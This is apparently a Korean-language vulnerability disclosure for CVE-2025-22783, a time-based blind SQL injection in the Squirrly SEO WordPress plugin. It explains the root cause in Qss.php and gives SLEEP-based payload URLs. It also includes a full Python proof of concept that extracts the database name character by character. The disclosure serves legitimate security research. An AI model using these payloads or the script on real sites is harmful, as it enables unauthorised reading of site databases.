Search

[SQL Injection] CVE-2025-22783

Categories
Tags
작성일
2025/01/15
1 more property

Component type

WordPress plugin

 Component details

Component name SEO Plugin by Squirrly SEO
Vulnerable version <= 12.4.01
Component slug squirrly-seo

 OWASP 2017: TOP 10

Vulnerability class A3: Injection
Vulnerability type SQL Injection

Pre-requisite

Contributor +

 Vulnerability details

Short description

SEO Plugin by Squirrly SEO(이하 Squirrly SEO 플러그인)은 내부 링크 기능을 통해 특정 키워드 기반으로 소스 페이지와 대상 페이지를 선택하여 웹사이트의 SEO를 향상시킬 수 있으며, 내부 링크 관리 페이지(/wp-admin/admin.php?page=sq_focuspages&tab=innerlinks)에서 각 링크의 키워드, 소스 페이지, 대상 페이지, 상태 등을 관리할 수 있습니다.
Squirrly SEO 플러그인 12.4.01 이하 버전의 내부 링크 관리 페이지에서는 생성된 내부 링크를 검색할 수 있습니다. 이때 사용자(Contributor+)가 입력한 검색어가 데이터베이스 질의문에 검증 없이 직접 전달되어 SQL Injection 취약점이 발생합니다.
해당 취약점은 내부 링크 관리 페이지에서 검색 결과가 직접 표시되지 않지만, SLEEP 함수와 같은 Time based SQL Injection 기법을 통해 데이터베이스의 정보를 추출할 수 있습니다.

 How to reproduce (PoC)

1.
Squirrly SEO 플러그인 12.4.01 이하 버전이 설치된 대상 사이트에 기여자 이상의 권한을 가진 계정으로 로그인합니다.
2.
그 다음 아래의 URL에 접속하면 SQL Injection 페이로드의 IF문 조건절 '1=1' 이 항상 참이기 때문에, SLEEP(5) 함수가 실행되어 페이지가 5초 후에 로드됩니다.
http://localhost:8080/wp-admin/admin.php?page=sq_focuspages&tab=innerlinks&stype&squery='+AND+1%3D2)+UNION+SELECT+(IF(1=1,SLEEP(5),1)),2,3,4,5,6,7%23
Plain Text
복사
3.
반면에 IF문 조건절을 '1=2'로 변경하면 결과 값이 거짓이므로 페이지가 즉시 로드됩니다.
http://localhost:8080/wp-admin/admin.php?page=sq_focuspages&tab=innerlinks&stype&squery='+AND+1%3D2)+UNION+SELECT+(IF(1=2,SLEEP(5),1)),2,3,4,5,6,7%23
Plain Text
복사

 Additional information (optional)

[취약점 발생 원인]

Squirrly SEO 플러그인의 내부 링크 관리 페이지(/wp-admin/admin.php?page=sq_focuspages&tab=innerlinks)에서는 내부 링크 검색 시 /wp-content/plugins/squirrly-seo/models/Qss.php 파일의 getSqInnerlinks 함수를 호출하여 데이터베이스에 질의합니다.
이때, 변수 $query_where가 SQL 질의문에 직접 삽입되는 것을 확인할 수 있습니다. 변수 $query_where의 값이 어떻게 구성되는지 살펴보면 다음과 같습니다.
1.
line 75: 변수 $search 는 내부 링크 검색 시 입력한 검색어를 담고 있으며, sanitize_text_field 함수를 이용하여 사용자의 입력 데이터를 처리하고 있습니다.
2.
line 76: 이후 변수 $search 는 조건절에 해당하는 문자열의 일부로 사용 되어 변수 $query_where 에 저장됩니다.
3.
line 79 ~ line 80: 변수 $query_where 에 조건절을 추가하고, apply_filters 함수를 통해 필터를 적용합니다.
따라서, 사용자가 내부 링크 검색 시 입력한 검색어는 sanitize_text_field 함수로 처리되지만, 이 함수는 SQL Injection 공격을 방어하지 못합니다. SQL 질의문에 사용되는 특수문자(싱글쿼터('), 주석(#) 등)가 필터링되지 않아, SQL Injection 페이로드가 포함된 변수 $search가 데이터베이스 질의 시 이스케이프 처리 없이 그대로 전달됨으로써 SQL Injection 취약점이 발생합니다.

[PoC 코드 구현 및 실행]

구현된 PoC 코드는 관리자 계정으로 로그인하여 취약점 재현을 위한 최소 권한(Contributor+)을 가진 계정을 생성한 후, 해당 계정으로 취약점을 발생시킵니다.
1.
PoC 코드를 편집기로 열어 WordPress 사이트 주소와 관리자의 계정을 입력합니다.
2.
그 다음 아래의 명령어를 입력하여 PoC 코드를 실행합니다.
필요 모듈 requests
python poc.py
Bash
복사

 Attach files (optional)

 PoC Code

import re import time import string import requests # Contributor ID/PW CONTRIBUTOR_ID = "contributor" CONTRIBUTOR_PW = "contributor" # To set up a proxy, enter the server address below. PROXY_SERVER = "http://localhost:7777" proxies = { "https": PROXY_SERVER, "http": PROXY_SERVER, } SLEEP_TIMER = 3 def __login_get_session(login_id, login_pw): session = requests.session() data = { "log": login_id, "pwd": login_pw, "wp-submit": "Log In", "testcookie": 1 } resp = session.post(f"{TARGET}/wp-login.php", data=data, proxies=proxies) if True in ["wordpress_logged_in_" in cookie for cookie in resp.cookies.keys()]: print(f" |- Successfully logged in with account {login_id}.") return session else: raise Exception(f"[-] Failed to log in.") def __add_user(admin_session, new_user_id, new_user_pw, role): resp = admin_session.get(f"{TARGET}/wp-admin/user-new.php", proxies=proxies) pattern = r'_wpnonce_create-user" value="(.{10})"' match = re.search(pattern, resp.text) if match: wp_create_user_nonce = match.group(1) data = { "action": "createuser", "_wpnonce_create-user": wp_create_user_nonce, "_wp_http_referer": "/wp-admin/user-new.php", "user_login": f"{new_user_id}", "email": f"{new_user_id}@example.com", "first_name": "", "last_name": "", "url": "", "pass1": f"{new_user_pw}", "pass2": f"{new_user_pw}", "pw_weak": "on", "send_user_notification": 1, "role": f"{role}", "createuser": "Add+New+User" } admin_session.post(f"{TARGET}/wp-admin/user-new.php", data=data, proxies=proxies) print(f" |- Successfully created account {new_user_id} (role: {role}).") else: raise Exception(f"[-] Failed to find _wpnonce_create-user value required for adding a user.") def poc_get_db_length(session): length = 1 while True: payload = f"' AND 1=2) UNION SELECT (IF(LENGTH(DATABASE()) > {length},SLEEP({SLEEP_TIMER}),1)),2,3,4,5,6,7 #" params = { "page": "sq_focuspages", "tab": "innerlinks", "stype": None, "squery": payload } start_time = time.time() session.post(f"{TARGET}/wp-admin/admin.php", params=params, proxies=proxies) if (time.time() - start_time) < SLEEP_TIMER: print(f" |- Database name length: {length}") break else: print(f" |- Database name length is greater than {length}.") length += 1 return length def poc_get_db_name(session, db_length): db_name = "" for i in range(1, db_length+1): for char in string.ascii_letters + string.digits: payload = f"' AND 1=2) UNION SELECT (IF(SUBSTR(DATABASE(),{i},1)='{char}',SLEEP({SLEEP_TIMER}),1)),2,3,4,5,6,7 #" params = { "page": "sq_focuspages", "tab": "innerlinks", "stype": None, "squery": payload } start_time = time.time() session.post(f"{TARGET}/wp-admin/admin.php", params=params, proxies=proxies) if (time.time() - start_time) > SLEEP_TIMER: db_name += char print(f" |- Database name: {db_name.ljust(db_length, '*')}") break def poc(): #### # 1. Log in as administrator #### print(f"[+] Logging in with administrator account.") print(f" |- Account: {ADMIN_ID}, Password: {ADMIN_PW}") admin_session = __login_get_session(ADMIN_ID, ADMIN_PW) admin_session.get(f"{TARGET}/wp-admin/", proxies=proxies) #### # 2. Register a user ('Contributor') - Administrator #### print(f"[+] Creating a 'Contributor' user account.") print(f" |- Account: {CONTRIBUTOR_ID}, Password: {CONTRIBUTOR_PW}") __add_user(admin_session, CONTRIBUTOR_ID, CONTRIBUTOR_PW, "contributor") #### # 3. Log in as 'Contributor' user #### print(f"[+] Logging in with 'Contributor' user account.") print(f" |- Account: {CONTRIBUTOR_ID}, Password: {CONTRIBUTOR_PW}") contributor_session = __login_get_session(CONTRIBUTOR_ID, CONTRIBUTOR_PW) ### # 4. Retrieve database name length ### print(f"[+] Retrieving database name length.") db_length = poc_get_db_length(contributor_session) ### # 5. Retrieve database name ### print(f"[+] Retrieving database name.") poc_get_db_name(contributor_session, db_length) if __name__ == "__main__": # WordPress Target TARGET = "http://localhost:8080" # Administrator ID/PW ADMIN_ID = "admin" ADMIN_PW = "admin" poc()
Python
복사

 References